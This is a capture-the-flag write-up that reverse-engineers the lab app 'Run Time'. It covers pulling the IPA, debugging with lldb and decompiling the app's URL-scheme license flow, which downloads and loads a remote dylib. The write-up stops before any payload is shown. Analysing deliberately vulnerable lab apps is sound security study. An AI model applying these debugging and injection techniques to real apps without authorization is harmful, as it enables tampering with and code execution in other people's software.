MobileHackingLab iOS Application Security Lab - Run Time Dynamic Library Injection Challenge write-up
Welcome to the iOS Application Security Lab: Run Time Dynamic Library Injection Challenge. This challenge focuses on a fictitious app called Run Time , which tracks the steps while running. Your objective is to bypass the app’s protections, deliver the exploit and gain code execution utilizing the dynamic library injection.
Objective
Your task is to inject a custom dynamic library into the Run Time app and manipulate its behavior while preparing a fake environment to deliver the exploit.
Prerequisites
Below tools are used during this post:
- IDA or other disassembler tools or your choice
- LLDB (Standalone or XCode lldb)
- A jailbroken iOS device
- ios-deploy
- ldid
Retrieve IPA and run the app
MobileHackingLab provides the Corellium iOS emulator for us to run and test the app on the web portal with ease, however I found the perfomance is a bit slow hence for this lab we will pull the IPA and install it on our own iOS device
Pull Runtime IPA from Correlium emulator
From the portal, start the lab and wait a few minutes for it to setup and turn on the emulator. Once it’s ready, navigate to folder /private/var/containers/Bundle/Application
where contains bundle applications. From here it’s a bit tricky to identify which application is Runtime, however, there is a trick to do that by clicking on Last Modified column a few times to sort app modified time, there will be only one folder stands out from others, it is the Runtime app bundle. Click the ellipsis vertically aligned icon in that column and select Copy filepath, note it down for the next step as we will need this to pull the app bundle from the emulator
Figure: Locate and Copy Runtime app file path
Next step is to download OVPN file given in the portal and connect to the VPN, I’m using openvpn
command sudo openvpn runtime_lab.ovpn
to start and connect to the VPN.
Once connected to VPN, we can pull the app bundle using scp
command with the path noted in earlier step, given emulator IP address as 10.11.1.1
and default password alpine
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ scp -r root@10.11.1.1:/private/var/containers/Bundle/Application/2A53363E-8C74-4D04-B7E4-6A447D2B2ACA ./
root@10.11.1.1's password:
.com.apple.mobile_container_manager.metadata.plist 100% 480 0.9KB/s 00:00
01J-lp-oVM-view-Ze5-6b-2t3.nib 100% 3844 7.5KB/s 00:00
UIViewController-01J-lp-oVM.nib 100% 924 1.9KB/s 00:00
Info.plist 100% 258 0.5KB/s 00:00
E5R-lq-rrh-view-FfF-iw-deh.nib 100% 9203 19.1KB/s 00:00
TabbedController.nib 100% 3587 7.5KB/s 00:00
UIViewController-E5R-lq-rrh.nib 100% 1476 3.1KB/s 00:00
SummaryViewController.nib 100% 1850 3.8KB/s 00:00
SubscribeViewController.nib 100% 1669 3.4KB/s 00:00
WnV-KQ-Z6y-view-XtF-oz-k5t.nib 100% 8165 17.1KB/s 00:00
y2R-vu-mEO-view-EGr-A3-sD3.nib 100% 3500 7.2KB/s 00:00
f4M-kz-J6p-view-DA1-rR-auQ.nib 100% 13KB 26.7KB/s 00:00
Info.plist 100% 491 1.0KB/s 00:00
ueM-xY-xDZ-view-wu2-oQ-BPs.nib 100% 6324 13.0KB/s 00:00
LoginControllerID.nib 100% 1535 3.2KB/s 00:00
ProfileViewController.nib 100% 1640 3.4KB/s 00:00
Runtime 100% 349KB 181.6KB/s 00:01
CodeResources 100% 7469 15.4KB/s 00:00
Info.plist 100% 1767 3.5KB/s 00:00
PkgInfo 100% 8 0.0KB/s 00:00
Assets.car 100% 1662KB 429.6KB/s 00:03
embedded.mobileprovision 100% 12KB 25.6KB/s 00:00
VersionInfo.plist 100% 255 0.5KB/s 00:00
Runtime.mom 100% 566 1.2KB/s 00:00
Runtime.omo 100% 704 1.5KB/s 00:00
BundleMetadata.plist 100% 650 1.3KB/s 00:00
Install Runtime bundle on a jailbroken device
Now with the bundle ready, connect the jailbroken device to the laptop via USB cable and use ios-deploy
command to install the bundle on device
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ios-deploy --bundle 2A53363E-8C74-4D04-B7E4-6A447D2B2ACA/Runtime.app
[....] Waiting for iOS device to be connected
[....] Using xxxx (iPhone, iphoneos, arm64, 15.7.3) a.k.a. 'iPhone_1573'.
------ Install phase ------
[ 0%] Found xxxx (iPhone, iphoneos, arm64, 15.7.3) a.k.a. 'iPhone_1573'. connected through USB, beginning install
[ 5%] Copying 2A53363E-8C74-4D04-B7E4-6A447D2B2ACA/Runtime.app/META-INF/ to device
...
[ 48%] Copying 2A53363E-8C74-4D04-B7E4-6A447D2B2ACA/Runtime.app/Info.plist to device
[ 49%] Copying 2A53363E-8C74-4D04-B7E4-6A447D2B2ACA/Runtime.app/Info.plist to device
[ 49%] Copying 2A53363E-8C74-4D04-B7E4-6A447D2B2ACA/Runtime.app/PkgInfo to device
[ 52%] CreatingStagingDirectory
[ 57%] ExtractingPackage
[ 60%] InspectingPackage
[ 60%] TakingInstallLock
[ 65%] PreflightingApplication
[ 65%] InstallingEmbeddedProfile
[ 70%] VerifyingApplication
[ 75%] CreatingContainer
[ 80%] InstallingApplication
[ 85%] PostflightingApplication
[ 90%] SandboxingApplication
[ 95%] GeneratingApplicationMap
[100%] Installed package Runtime.app/
We can observe from the terminal log and on the device home screen there is new app Runtime installed successfully. In some cases you got error on the terminal, highly it is due to codesign issues, you might need to sign the bundle with your certificate first using codesign
or other signing apps such as iOS App Signer then retry, it should be fine.
Run the app
It’s time to run the app and observe the functionalities.
Those 2 screens are Login and Signup, to create local account for sign in to the app. Let create one account in Sign up screen to explor further functions, however, it’s stuck to sign up an account due to app UI broken issue as the keyboard covers other fields which is blocking us from continuing.
Figure: Sign Up screen blocking by keyboard
Not sure if this is intentional by the developers of this challenge or they didnt expect us to run on a small screen size device, anyway we need to figure out a way to hide this keyboard first. In this case we can attach a debugger to the running app and using LLDB command to hide the keyboard, but before doing that, let check if the given executable Runtime has debugging permission or not. We can use ldid
command to quickly check:
1
2
3
4
5
6
7
8
9
10
11
12
13
bash-3.2$ ldid -e Runtime.app/Runtime
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>9935WJZD4N.com.mobilehackinglab.runtime</string>
<key>com.apple.developer.team-identifier</key>
<string>9935WJZD4N</string>
<key>get-task-allow</key>
<true/>
</dict>
</plist>
As we can see get-task-allow
is true
which mean the app is debuggable. Let run the app and use LLDB of XCode to attach and debugging (you can use standalone LLDB version)
Figure: Using XCode debugger to attach Runtime process
Once attached successfully, from lldb prompt (lldb)
we will send this command to hide the keyboard followed by continue
command to resume the app:
1
(lldb) expr -l objc++ -O -- [[UIApplication sharedApplication] sendAction:@selector(resignFirstResponder) to:nil from:nil forEvent:nil]
Figure: Using lldb command to dismiss keyboard
As we can see, the keyboard is being dismissed and now we can tap on password field to continue, it will show up the keyboard again and again, we need to repeat above process until able to tap on Create Local Account button to complete the sign up process. Once it’s done, we can back to the Sign in screen to login the app, again same UI issue we need debugger help to manually dismiss the keyboard.
After login successfully, there are 3 screens Summary, ProPack and Account, app looks simple?
Figure: Summary, Pro Pack and Account screens
Playing around with those buttons all lead to Pro Pack screen which required to be a Pro subscription to use the app, either tap on Subscribe Now! or Start Free Trial will open dummy webpage https://mhl.pages.dev/runtime/payment?license_type=pro
that is unusable.
It’s enough playing, let head to analysis part.
Analysis
Static Analysis
Strings
A few strings that app is using that worth taking note here
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__cstring:000000010001DD00 0000002E C runtime://buypro?server=mhl.pages.dev/runtime
__cstring:000000010001DD30 0000004A C runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678-ABCD
__cstring:000000010001DDA1 0000000E C mhl.pages.dev
__cstring:000000010001DDAF 0000000F C Invalid Server
__cstring:000000010001DDD0 0000001D C ^[0-9]{4}-[0-9]{4}-[A-Z]{4}$
__cstring:000000010001DDED 00000008 C http://
__cstring:000000010001DDF5 00000008 C /health
__cstring:000000010001DDFD 0000000C C Invalid URL
__cstring:000000010001DE40 00000017 C Invalid license format
__cstring:000000010001DE60 0000001A C /payment?license_type=pro
__cstring:000000010001DE7A 0000000A C /activate
__cstring:000000010001DE89 0000000A C /download
__cstring:000000010001DF34 0000000D C Content-Type
__cstring:000000010001DF50 00000019 C application/octet-stream
__cstring:000000010001DF70 0000001E C Unable to store license file!
__cstring:000000010001DF8E 0000000E C license.dylib
__cstring:000000010001DFA0 00000028 C Failed to move or load the license file
__cstring:000000010001E000 00000020 C Failed to load the license file
__cstring:000000010001E020 0000002E C Unknown error occurred while loading library.
__cstring:000000010001E050 00000017 C Something went wrong:
__cstring:000000010001E067 00000010 C register_device
__cstring:000000010001E080 00000024 C Function register_device not found.
__cstring:000000010001E0F0 0000001C C Device registration failed.
__cstring:000000010001E110 00000045 C Upgraded to Pro. Please wait for a decade before we add pro features
__cstring:000000010001E160 0000003E C Unexpected response from server (download path not available)
__cstring:000000010001E1A0 00000021 C Unable to authenticate to server
There are custom URL schemes runtime://
, server URL mhl.pages.dev
, a few API endpoints (/health
, /payment
, /activate
, /download
), dynamic library name license.dylib
, etc. We will analysis one by one to understand the app flow.
Custom URL Scheme
As we can see from above strings, the app is using custom URL Scheme runtime://
1
2
runtime://buypro?server=mhl.pages.dev/runtime
runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678-ABCD
From Apple document:
Custom URL schemes provide a way to reference resources inside your app. Users tapping a custom URL in an email, for example, launch your app in a specified context.
Warning: URL schemes offer a potential attack vector into your app, so make sure to validate all URL parameters and discard any malformed URLs.
Copy either above URL scheme and paste to device web browser to launch the app, it navigates to Pro Pack screen with a toast message “Malformed response from server”. By searching this message using IDA Strings we found it’s being used in closure #1 in SubscribeController.verifyLicense(server:key:)
which is the callback handling from server.
1
2
3
__cstring:000000010001E350 aMalformedRespo DCB "Malformed response from server",0
__cstring:000000010001E350 ; DATA XREF: closure #1 in SubscribeController.verifyLicense(server:key:):loc_100007F80↑o
__cstring:000000010001E350 ; closure #1 in SubscribeController.verifyLicense(server:key:)+480↑o ..
Before jumping to analysis SubscribeController.verifyLicense(server:key:)
, let switch to IDA Functions Window to see if SubscribeController
class has any methods
Class SubscribeController
Why we choose this class among others? Because the app objective related to achieve Pro version, hence it should be the first to look around instead of wandering off. Figure: Class SubscribeController
As we can see, beside verifyLicense(server:key:)
methods, there are a few more look interesting such as getLicenseFile(server:withToken:)
, activateServer(server:)
, etc.
If you quickly jump to each of them and find the XREFs, you will find none. This is a bit weird, are they unused method? They aren’t, if you pay attention enough you can tell this app was written in Swift, hence some optimization applied and no XREFs found were part of it. Worry not, we will have another way to verify it later.
SubscribeController.verifyLicense(server:key:)(Swift::String server, Swift::String key) - 1st API request
By the toast message “Malformed response from server” and XREFs when launch the app by custom URL scheme, we know that SubscribeController.verifyLicense(server:key:)
is being called. This method accepts 2 parameters server
and key
, they are both String
type. To double confirm we can check SceneDelegate.scene(_:openURLContexts:)
method where this is the place handle custom URL scheme or deeplinking.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
void __fastcall SceneDelegate.scene(_:openURLContexts:)(void *a1, __int64 a2)
{
...
v169 = a1;
v154 = a2;
v150 = &swift_isaMask;
v151 = "Fatal error";
v152 = "Unexpectedly found nil while unwrapping an Optional value";
v153 = "Runtime/SceneDelegate.swift";
...
v146 = v148;
if ( v148 )
{
...
while ( 1 )
{
...
v129 = &SubscribeController;
v126 = objc_retainAutoreleasedReturnValue(objc_msgSend(v141, "URL"));
static URL._unconditionallyBridgeFromObjectiveC(_:)();
v132 = (__int64 (__fastcall *)(char *, char *, __int64))v156[2];
v32 = v132(v31, v168, v155);
v33 = URL.absoluteString.getter(v32);
v36 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("server", 6uLL, 1);
...
v42 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("buypro", v134, v135 & 1);
...
LABEL_13:
if ( (v115 & 1) != 0 )
{
v43 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("buypro", 6uLL, 1);
v44 = v190._object;
v190 = v43;
swift_bridgeObjectRelease(v44);
}
v110 = objc_retainAutoreleasedReturnValue(objc_msgSend(v130, "URL"));
v48 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("starttrial", 0xAuLL, 1);
...
LABEL_24:
v54 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("trialKey", 8uLL, 1);
if ( (v93 & 1) != 0 )
{
type metadata accessor for UIStoryboard();
v57 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Main", 4uLL, 1);
v85 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("TabbedController", 0x10uLL, v84 & 1)._object;
v88 = objc_retainAutoreleasedReturnValue(objc_msgSend(v86, "instantiateViewControllerWithIdentifier:", v87));
v58 = objc_opt_self(&OBJC_CLASS___UITabBarController);
v89.super.super.isa = (Class)swift_dynamicCastObjCClassUnconditional(v88, v58, 0LL, 0LL);
isa = v89.super.super.isa;
-[objc_class setSelectedIndex:](v89.super.super.isa, "setSelectedIndex:", 1LL);
type metadata accessor for UINavigationController(v90);
...
if ( v178 )
{
outlined destroy of UIWindow?(v82);
v64 = objc_retain(v91);
objc_msgSend(v83, "setRootViewController:", v91);
objc_msgSend(v81, "makeKeyAndVisible");
}
v66 = type metadata accessor for SubscribeController(0LL);
v77 = (_QWORD *)swift_dynamicCastClassUnconditional(v76, v66, 0LL, 0LL);
v176 = v77;
// ==== INVOKE SubscribeController.verifyLicense(server:key:)
(*(void (__fastcall **)(__int64, __int64, __int64))((*v77 & *v150) + 0x80LL))(v72, v71, v70._countAndFlagsBits); )
}
}
..
}
This logic was written in Swift, with the help of the decompiler we can summarize the general logic as above (removed a number of Swift metadata logic that is irrelevant). It’s parsing URL scheme query and parameter all the way until invoking (*(void (__fastcall **)(__int64, __int64, __int64))((*v77 & *v150) + 0x80LL))(v72, v71, v70._countAndFlagsBits)
method. This is a result of the Swift compiler’s internal calling convention for Swift functions, it’s hard to tell exactly which method is being called. Swift, in contrast to languages like C or C++, uses dynamic dispatch and metadata to store information about function names and types. When Swift code is compiled, especially in optimized release builds, these optimizations can result in Indirect function calls through function pointers or tables, which might eliminate direct XREFs in the compiled binary.
To verify which method is being called, we can use a debugger to attach, set breakpoint and print out the address of that method, in this case it’s SubscribeController.verifyLicense(server:key:)
and the server
value is mhl.pages.dev/runtime
and key
value is 1234-5678-ABCD
if runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678-ABCD
is used to launch the app.
Now let’s jump in to SubscribeController.verifyLicense(server:key:)
main implementation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Swift::Void __swiftcall SubscribeController.verifyLicense(server:key:)(Swift::String server, Swift::String key)
{
...
v30_mhl_pages_dev_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"mhl.pages.dev",
0xDuLL,
1);
v134 = &v154_mhl_pages_dev_string_constant;
v154_mhl_pages_dev_string_constant = v30_mhl_pages_dev_string_constant;
v133 = lazy protocol witness table accessor for type String and conformance String();
v135_server_contains_mhl_pages_dev_boolean = StringProtocol.contains<A>(_:)(v134, v132, v132, v133);
if ( (v135_server_contains_mhl_pages_dev_boolean & 1) != 0 )// if server contains "mhl.pages.dev"
{
v31_buypro_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("buypro", 6uLL, 1);
v112_is_key_equal_buypro_string = static String.== infix(_:_:)(
v121_key._countAndFlagsBits,
v121_key._object,
v31_buypro_string_constant._countAndFlagsBits);
if ( (v112_is_key_equal_buypro_string & 1) != 0 )// if key equals "buypro"?
{
v34 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("http://", 7uLL, 1);
DefaultStringInterpolation.appendLiteral(_:)(v34);
DefaultStringInterpolation.appendInterpolation<A>(_:)(
v136,
v132,
&protocol witness table for String,
&protocol witness table for String);
v35 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"/payment?license_type=pro",
0x19uLL,
v105 & 1);
...
DefaultStringInterpolation.appendLiteral(_:)(v35);
URL.init(string:)(v36);
...
objc_msgSend(v98, "openURL:options:completionHandler:", v97, isa, 0LL);
...
}
else // key is not equal "buypro"
{
// handle trial key flow
...
}
}
else // server does not contain "mhl.pages.dev"
{
v68 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Invalid Server", 0xEuLL, 1);
showToast(message:duration:sender:)(v68, v67, v113);
}
}
This methods check if the passing server
value contains string “mhl.pages.dev”, otherwise it will toast a message “Invalid Server” (try this URL and you will see runtime://starttrial?server=my.own.server.com&trialKey=1234-5678-ABCD
). Once the server
is valid, it checks if it’s buypro
flow or starttrial
flow by checking the key
value. If it’s buypro
flow, it will open a webpage with URL mhl.pages.dev/runtime/payment?license_type=pro
which leads to a dummy page and nothing interesting for us to dig, hence we will focus on starttrial
flow logic.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void __fastcall SceneDelegate.scene(_:openURLContexts:)(void *a1, __int64 a2)
{
...
else // starttrial flow
{
v153[1] = v121_key;
v86 = 1;
v45_license_key_format_string = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"^[0-9]{4}-[0-9]{4}-[A-Z]{4}$",
0x1CuLL,
1);
...
v90 = StringProtocol.range<A>(of:options:range:locale:)(v87, 1024LL, v85, v85, v86, v116, v132);
...
v151 = v88;
v152 = v89_is_license_key_format_valid & 1;
v84 = (v89_is_license_key_format_valid & 1) != 0;
if ( (v89_is_license_key_format_valid & 1) != 0 )
{
v83 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Invalid license format", 0x16uLL, 1);
showToast(message:duration:sender:)(v83, v49, v113);
return;
}
v50 = DefaultStringInterpolation.init(literalCapacity:interpolationCount:)(14LL, 1LL);
v52_http_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("http://", 7uLL, 1);
DefaultStringInterpolation.appendLiteral(_:)(v52_http_string_constant);
DefaultStringInterpolation.appendInterpolation<A>(_:)(
v147,
v132,
&protocol witness table for String,
&protocol witness table for String);
v53_health_path_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"/health",
v76,
v77 & 1);
DefaultStringInterpolation.appendLiteral(_:)(v53_health_path_string_constant);
v54 = String.init(stringInterpolation:)(v81, v80);
URL.init(string:)(v54);
...
v145 = partial apply for closure #1 in SubscribeController.verifyLicense(server:key:);
v140 = _NSConcreteStackBlock;
v143 = thunk for @escaping @callee_guaranteed @Sendable (@guaranteed Data?, @guaranteed NSURLResponse?, @guaranteed Error?) -> ();
v70 = _Block_copy(&v140);
v73 = objc_retainAutoreleasedReturnValue(objc_msgSend(v72, "dataTaskWithURL:completionHandler:", v71, v70));
v139 = v73;
objc_msgSend(v73, "resume");
v74(v125, v122);
}
}
This flow basically validate if the provided key
value is in the format of ^[0-9]{4}-[0-9]{4}-[A-Z]{4}$
(which it is if we are passing trialKey=1234-5678-ABCD
), then it will concat the provided server from custom URL mhl.pages.dev/runtime
with the path /health
and make a GET
request - (NSURLSessionDataTask *)dataTaskWithURL:(NSURL *)url completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;
to the server http://mhl.pages.dev/runtime/health
to retrieve the data. The response logic is handled in v145 = partial apply for closure #1 in SubscribeController
block.
closure #1 in SubscribeController.verifyLicense(server:key:)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
void __fastcall closure #1 in SubscribeController.verifyLicense(server:key:)(
__int64 a1,
__int64 a2,
void *a3_NSURLResponse_obj,
__int64 a4,
UIViewController a5,
_QWORD *a6,
__int64 a7,
__int64 a8)
{
...
v8_NSURLResponse_obj = objc_retain(a3_NSURLResponse_obj);
if ( a3_NSURLResponse_obj )
{
v10 = objc_opt_self(&OBJC_CLASS___NSHTTPURLResponse);
v11_NSHTTPURLResponse_obj = swift_dynamicCastObjCClass(a3_NSURLResponse_obj, v10);
if ( v11_NSHTTPURLResponse_obj )
{
v46_NSHTTPURLResponse_obj = (void *)v11_NSHTTPURLResponse_obj;
}
else
{
objc_release(a3_NSURLResponse_obj);
v46_NSHTTPURLResponse_obj = 0LL;
}
v47_NSHTTPURLResponse_obj = v46_NSHTTPURLResponse_obj;
}
else
{
v47_NSHTTPURLResponse_obj = 0LL;
}
if ( !v47_NSHTTPURLResponse_obj )
{
v45 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Unexpected response from server", 0x1FuLL, 1);
showToast(message:duration:sender:)(v45, v12, a5);
return;
}
v67 = v47_NSHTTPURLResponse_obj;
if ( objc_msgSend(v47_NSHTTPURLResponse_obj, "statusCode") != (id)200 )
{
v29 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Unexpected response from server", 0x1FuLL, 1);
showToast(message:duration:sender:)(v29, v24, a5);
}
else
{
...
NSJSONReadingOptions and conformance NSJSONReadingOptions();
v43_response_json_obj = objc_retainAutoreleasedReturnValue(
objc_msgSend(
v40_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v42_NSData_response,
v66,
&v65));
if ( v43_response_json_obj )
{
if ( v38 )
{
v61_status_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("status", 6uLL, 1);
Dictionary.subscript.getter(v74);
if ( !v36 )
{
v32 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"Invalid response from server",
0x1CuLL,
1);
v21 = default argument 1 of showToast(message:duration:sender:)();
showToast(message:duration:sender:)(v32, v21, a5);
return;
}
v59 = v35_status_value;
v22_healthy_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("healthy", 7uLL, 1);
v31_is_status_value_equal_healthy = static String.== infix(_:_:)(
v35_status_value,
v36,
v22_healthy_string_constant._countAndFlagsBits);
if ( (v31_is_status_value_equal_healthy & 1) != 0 )
{
(*(void (__fastcall **)(__int64, __int64))((*a6 & swift_isaMask) + 0x88LL))(a7, a8);
}
else
{
v30 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Server not healthy", 0x12uLL, 1);
showToast(message:duration:sender:)(v30, v23, a5);
}
}
else
{
v37 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"Malformed response from server",
0x1EuLL,
1);
showToast(message:duration:sender:)(v37, v20, a5);
}
}
else
{
v27 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Malformed response from server", 0x1EuLL, 1);
showToast(message:duration:sender:)(v27, v25, a5);
}
}
}
This is a quite lengthly callback implementation, after rename a few local variables for readability, it expects the reponse is in JSON format and it should be:
1
2
3
{
"status": "healthy"
}
If the response satisfies above condition, it will trigger method call (*(void (__fastcall **)(__int64, __int64))((*a6 & swift_isaMask) + 0x88LL))(a7, a8);
, it’s the same indirect call pattern like earlier, we cant tell which method it is but spoil alert (can verify with LLDB later) this is invoking SubscribeController.activateServer(server:)(Swift::String server)
method. If response status code is not 200
(success) or response body is not JSON format, etc. the corresponding error message will be shown (“Unexpected response from server”, “Invalid response from server”, “Malformed response from server”, etc.)
Before digging SubscribeController.activateServer(server:)(Swift::String server)
implementation, as we already have the 1st API call information, let try to invoke it using curl
command to see what current response value is:
1
2
3
4
5
6
7
8
bash-3.2$ curl mhl.pages.dev/runtime/health
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>cloudflare</center>
</body>
</html>
With above response and applied to the callback logic, it is not expected JSON format hence “Malformed response from server” was shown.
SubscribeController.activateServer(server:)(Swift::String server) - 2nd API POST request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Swift::Void __swiftcall SubscribeController.activateServer(server:)(Swift::String server)
{
...
v61 = server;
v47 = type metadata accessor for URLRequest();
v24_http_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("http://", 7uLL, 1);
DefaultStringInterpolation.appendLiteral(_:)(v24_http_string_constant);
v25_activate_path_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"/activate",
9uLL,
v69 & 1);
DefaultStringInterpolation.appendLiteral(_:)(v25_activate_path_string_constant);
...
v40 = default argument 1 of URLRequest.init(url:cachePolicy:timeoutInterval:)(v28);
URLRequest.init(url:cachePolicy:timeoutInterval:)(v56, v40);
v29_POST_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("POST", 4uLL, 1);
v30 = URLRequest.httpMethod.setter(v29_POST_string_constant._countAndFlagsBits, v29_POST_string_constant._object);
v77 = partial apply for closure #1 in SubscribeController.activateServer(server:);
aBlock = _NSConcreteStackBlock;
v75 = thunk for @escaping @callee_guaranteed @Sendable (@guaranteed Data?, @guaranteed NSURLResponse?, @guaranteed Error?) -> ();
v76 = &block_descriptor_6_0;
v41 = _Block_copy(&aBlock);
v44 = objc_retainAutoreleasedReturnValue(objc_msgSend(v43, "dataTaskWithRequest:completionHandler:", isa, v41));
objc_msgSend(v44, "resume");
(*(void (__fastcall **)(char *, __int64))(v67 + 8))(v58, v70);
...
}
Same as 1st API request in SubscribeController.verifyLicense(server:key:)
except this is a POST
request with empty request body to http://mhl.pages.dev/runtime/activate
and expect the response logic is handled in the closure #1 in SubscribeController.activateServer(server:)
closure #1 in SubscribeController.activateServer(server:)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
void __fastcall closure #1 in SubscribeController.activateServer(server:)(
__int64 a1,
__int64 a2,
void *a3,
__int64 a4,
objc_class *a5,
_QWORD *a6,
__int64 a7,
__int64 a8)
{
...
v20_NSURLResponse_obj = objc_retain(v96_NSURLResponse_obj);
v83_CLASS___NSHTTPURLResponse_obj = v88_CLASS___NSHTTPURLResponse_obj;
if ( !v88_CLASS___NSHTTPURLResponse_obj )
{
v81 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Unexpected response from server", 0x1FuLL, 1);
v24 = default argument 1 of showToast(message:duration:sender:)();
showToast(message:duration:sender:)(v81, v24, v97);
swift_bridgeObjectRelease(v81._object);
return;
}
if ( objc_msgSend(v83_CLASS___NSHTTPURLResponse_obj, "statusCode") != (id)200 )
{
v44 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Unexpected response from server", 0x1FuLL, 1);
v38 = default argument 1 of showToast(message:duration:sender:)();
showToast(message:duration:sender:)(v44, v38, v97);
swift_bridgeObjectRelease(v44._object);
objc_release(v80);
}
else
{
...
v73_CLASS___NSJSONSerialization = (id)objc_opt_self(&OBJC_CLASS___NSJSONSerialization);
outlined copy of Data._Representation(v70, v69);
v76_response_json_obj = objc_retainAutoreleasedReturnValue(
objc_msgSend(
v73_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
isa,
v116,
&v115));
if ( v76_response_json_obj )
{
...
if ( v65 )
{
v33_token_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("token", 5uLL, 1);
v111 = v33_token_string_constant;
Dictionary.subscript.getter(v124);
if ( !v59 )
{
v50 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"Invalid response from server",
0x1CuLL,
1);
showToast(message:duration:sender:)(v50, v34, v97);
outlined consume of Data._Representation(v70, v69);
return;
}
v48_token_value = v53;
UUID.init(uuidString:)();
outlined init with copy of UUID?(v105, v103);
v35 = type metadata accessor for UUID(0LL);
if ( (*(unsigned int (__fastcall **)(_BYTE *, __int64))(*(_QWORD *)(v35 - 8) + 48LL))(v103, 1LL) == 1 )// validate token format
{
v47 = 1;
}
else
{
outlined destroy of UUID?(v103);
v47 = 0;
}
v46_is_not_valid_uuid = v47;
outlined destroy of UUID?(v105);
if ( (v46_is_not_valid_uuid & 1) != 0 )
{
v45 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Invalid token format", 0x14uLL, 1);
showToast(message:duration:sender:)(v45, v37, v97);
}
else
{
(*(void (__fastcall **)(__int64, __int64, __int64, __int64))((*v98 & swift_isaMask) + 0x90LL))( // SubscribeController.getLicenseFile
v99,
v100,
v49,
v48_token_value);
}
}
else
{
swift_unknownObjectRelease(v66);
v62 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"Malformed response from server",
0x1EuLL,
1);
showToast(message:duration:sender:)(v62, v32, v97);
}
}
else
{
v42 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Malformed response from server", 0x1EuLL, 1);
showToast(message:duration:sender:)(v42, v39, v97);
}
...
}
}
This response logic also expects JSON format with the JSON key is token
and value should be UUID
